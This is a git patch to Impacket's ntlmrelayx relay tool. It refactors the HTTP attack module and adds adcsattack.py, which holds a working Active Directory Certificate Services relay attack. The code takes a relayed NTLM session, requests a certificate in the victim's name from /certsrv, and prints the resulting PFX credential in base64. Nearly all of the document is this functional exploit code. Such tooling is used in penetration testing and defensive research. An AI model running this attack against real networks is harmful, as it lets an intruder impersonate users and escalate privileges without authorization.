From 3fe2d73ae855d81bca73de75b5bda520c5b3feb1 Mon Sep 17 00:00:00 2001 From: ExAndroidDev Date: Wed, 13 Oct 2021 15:22:15 +0200 Subject: [PATCH] Refactored httpattack.py, implemented AD CS attack as a submodule --- .../examples/ntlmrelayx/attacks/httpattack.py | 107 +++--------------- .../attacks/httpattacks/__init__.py | 0 .../attacks/httpattacks/adcsattack.py | 88 ++++++++++++++ setup.py | 2 +- 4 files changed, 103 insertions(+), 94 deletions(-) create mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py create mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index f095fe5ae..725bdb9f7 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -14,18 +14,14 @@ # Alberto Solino (@agsolino) # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # Ex Android Dev (@ExAndroidDev) -# -import re -import base64 -from OpenSSL import crypto + from impacket.examples.ntlmrelayx.attacks import ProtocolAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack PROTOCOL_ATTACK_CLASS = "HTTPAttack" -# cache already attacked clients -ELEVATED = [] -class HTTPAttack(ProtocolAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -33,92 +29,17 @@ class HTTPAttack(ProtocolAttack): proxy through ntlmrelayx """ PLUGIN_NAMES = ["HTTP", "HTTPS"] + def run(self): - #Default action: Dump requested page to file, named username-targetname.html if self.config.isADCSAttack: - self.adcs_relay_attack() - return - - #You can also request any page on the server via self.client.session, - #for example with: - self.client.request("GET", "/") - r1 = self.client.getresponse() - print(r1.status, r1.reason) - data1 = r1.read() - print(data1) - - #Remove protocol from target name - #safeTargetName = self.client.target.replace('http://','').replace('https://','') - - #Replace any special chars in the target name - #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) - - #Combine username with filename - #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' - - #Write it to the file - #with open(os.path.join(self.config.lootdir,fileName),'w') as of: - # of.write(self.client.lastresult) - - def adcs_relay_attack(self): - key = crypto.PKey() - key.generate_key(crypto.TYPE_RSA, 4096) - - if self.username in ELEVATED: - print('[*] Skipping user %s since attack was already performed' % self.username) - return - csr = self.generate_csr(key, self.username) - csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") - print("[*] CSR generated!") - - data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template) - - headers = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", - "Content-Type": "application/x-www-form-urlencoded", - "Content-Length": len(data) - } - - print("[*] Getting certificate...") - - self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers) - ELEVATED.append(self.username) - response = self.client.getresponse() - - if response.status != 200: - print("[*] Error getting certificate! Make sure you have entered valid certiface template.") - return - - content = response.read() - found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode()) - if len(found) == 0: - print("[*] Error obtaining certificate!") - return - - certificate_id = found[0] - - self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id) - response = self.client.getresponse() - - print("[*] GOT CERTIFICATE!") - certificate = response.read().decode() - - certificate_store = self.generate_pfx(key, certificate) - print("[*] Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) - - def generate_csr(self, key, CN): - print("[*] Generating CSR...") - req = crypto.X509Req() - req.get_subject().CN = CN - req.set_pubkey(key) - req.sign(key, "sha256") - - return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req) - - def generate_pfx(self, key, certificate): - certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate) - p12 = crypto.PKCS12() - p12.set_certificate(certificate) - p12.set_privatekey(key) - return p12.export() + ADCSAttack._run(self) + else: + # Default action: Dump requested page to file, named username-targetname.html + # You can also request any page on the server via self.client.session, + # for example with: + self.client.request("GET", "/") + r1 = self.client.getresponse() + print(r1.status, r1.reason) + data1 = r1.read() + print(data1) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py new file mode 100644 index 000000000..bb60f9f31 --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -0,0 +1,88 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# AD CS relay attack +# +# Authors: +# Ex Android Dev (@ExAndroidDev) +# Tw1sm (@Tw1sm) + +import re +import base64 +from OpenSSL import crypto + +from impacket import LOG + +# cache already attacked clients +ELEVATED = [] + + +class ADCSAttack: + + def _run(self): + key = crypto.PKey() + key.generate_key(crypto.TYPE_RSA, 4096) + + if self.username in ELEVATED: + LOG.info('Skipping user %s since attack was already performed' % self.username) + return + csr = self.generate_csr(key, self.username) + csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") + LOG.info("CSR generated!") + + data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template) + + headers = { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", + "Content-Type": "application/x-www-form-urlencoded", + "Content-Length": len(data) + } + + LOG.info("Getting certificate...") + + self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers) + ELEVATED.append(self.username) + response = self.client.getresponse() + + if response.status != 200: + LOG.error("Error getting certificate! Make sure you have entered valid certiface template.") + return + + content = response.read() + found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode()) + if len(found) == 0: + LOG.error("Error obtaining certificate!") + return + + certificate_id = found[0] + + self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id) + response = self.client.getresponse() + + LOG.info("GOT CERTIFICATE!") + certificate = response.read().decode() + + certificate_store = self.generate_pfx(key, certificate) + LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) + + def generate_csr(self, key, CN): + LOG.info("Generating CSR...") + req = crypto.X509Req() + req.get_subject().CN = CN + req.set_pubkey(key) + req.sign(key, "sha256") + + return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req) + + def generate_pfx(self, key, certificate): + certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate) + p12 = crypto.PKCS12() + p12.set_certificate(certificate) + p12.set_privatekey(key) + return p12.export() diff --git a/setup.py b/setup.py index 3de2c2fca..0dd011771 100644 --- a/setup.py +++ b/setup.py @@ -65,7 +65,7 @@ def read(fname): 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils', - 'impacket.examples.ntlmrelayx.attacks'], + 'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'], scripts = glob.glob(os.path.join('examples', '*.py')), data_files = data_files, install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.16.2', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6',